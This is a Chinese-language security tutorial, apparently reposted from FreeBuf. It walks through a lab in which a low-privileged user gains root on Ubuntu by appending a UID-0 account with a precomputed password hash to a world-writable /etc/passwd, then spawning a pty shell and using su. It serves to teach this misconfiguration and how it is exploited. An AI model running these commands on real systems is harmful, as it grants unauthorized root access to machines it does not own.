通过可写入的etcpasswd文件实现Linux提权
2019-08-18 14:00:17 Author: www.freebuf.com(查看原文) 阅读量:172 收藏

在红队评估期间,队员们往往会面临许多不同的场景,最为常见的场景比如只有一个普通或低级别的shell。在Windows环境中,管理员或管理员组的成员会具有较高的权限,而这些高权限用户也是攻击者的主要目标。同样,在Linux环境中root或具有sudo权限的用户也将会是攻击者的主要针对用户。

本文我们将讨论有关文件配置错误导致权限提升的例子。通常,在CTF挑战期间,我们总会想到查看passwd文件,以了解系统上可用的用户。

passwd文件存在于Linux root的/etc目录中。最重要的一点是,该文件非特权用户也可以进行访问。

/etc/passwd

Linux系统中的每个用户都在/etc/passwd文件中有一个对应的记录行,它记录了这个用户的一些基本属性。这个文件对所有用户都是可读的。它是一个以冒号分隔的文件,按顺序其包含的信息如下:

用户名

加密密码

用户 ID (或 UID)

组 ID (或 GUID)

用户全名

用户家目录

登录 Shell

现在,我们将查看/etc/passwd文件:

2.JPG

让我们详细了解一下“/etc/passwd”文件,这里我们以root用户为例:

root:用户名。

x:放置用户密码。密码直接从“/etc/shadow”文件中获取。

0:root用户UID。

0:root用户GID。

root:用户描述的占位符。

/root:用户的家目录。将在终端会话中向用户显示该目录。

/bin/bash:用户的shell。根据用户的目的,将在用户登录时生成此shell。

环境设置

在VM中两个Linux系统的配置如下,并使用NAT网络模式(用于共享主机的IP地址)。

OS Name Role OS Version Machine IP Kernel Version
Kali Linux (x64 bit) 攻击者机器 Kali 192.168.245.134 4.12.0-kali2-686
Ubuntu (x64 bit) 易受攻击机器 Ubuntu 14.04.6 LTS 192.168.245.146 4.4.0-142-generic

我们假设已在攻击者机器(kali)上获取到了目标系统的hacknpentest用户权限。现在,我们将上传linuxprivchecker.py python脚本来查看,目标系统上可能存在的错误配置。

我们使用wget(或web get)将文件下载到目标服务器。

3.JPG

默认情况下,Python已在所有linux机器上安装。我们将使用以下命令来运行枚举脚本。

python linuxprivchecker.py

4.JPG

仔细查看脚本输出,我们发现passwd文件是world可写文件,具有对普通用户的读,写和修改权限。

5.JPG

权限的错误配置可能会被以某种方式滥用,从而将当前用户权限提升为root用户。现在,我们将尝试写入passwd文件以使我们成为root用户。

我们将向passwd文件添加一个用户,并在相应的字段中显式地给出加密密码。你可以使用perl语言生成带有salt的加密密码,如下所示:

$perl -le 'print crypt("THIS_IS_Original_PASSWORD","SALT")'

下面的命令将向passwd文件添加一个具有加密密码和UID,GID设置为root [0]的用户。

echo "Tom:Encrypted_Password:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd

让我们拆解下我们要添加到passwd文件的字段。

Tom:用户名

ad7t5uIalqMws:加密用户密码

0:root用户ID

0:root组ID

User_like_root:用户描述

/root:用户家目录

/bin/bash:用户的Shell

‘>>’符号将输出重定向到文件,并在结尾附加重定向输出的内容(此处为/etc/passwd文件)。

生成加密密码:

perl -le ‘print crypt(“Password@973″,”addedsalt”)’

6.JPG

上面的命令将生成一个带有以下密码和salt的哈希:

原密码:Password@973

盐:addedsalt

加密密码:ad7t5uIalqMws

使用上面的加密密码,我们现在将以下内容附加到/etc/passwd文件中。

echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd

7.JPG

Tom用户已成功被附加到/etc/passwd文件。

cat /etc/passwd

8.JPG

现在,使用su命令我们将尝试使用Tom用户登录。

9.JPG

这里提示必须在终端运行,但我们并没有什么合适的终端。我们将使用以下python one liner(目标服务器上已安装了python)迁移到bash shell:

python -c 'import pty; pty.spawn("/bin/bash")'

10.JPG

现在,我们尝试使用以下命令登录Tom用户:

su – Tom

太棒了!可以看到现在我们的用户权限已提升为了root!

11.JPG

总结

我们在passwd文件中发现了权限配置错误,并最终利用这一点将我们的用户权限提升为了root。在下一篇文章中,我们将讨论有关Linux权限提升的其他方法。

*参考来源:hacknpentest,FB小编secist编译,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/articles/system/210425.html
如有侵权请联系:admin#unsafe.sh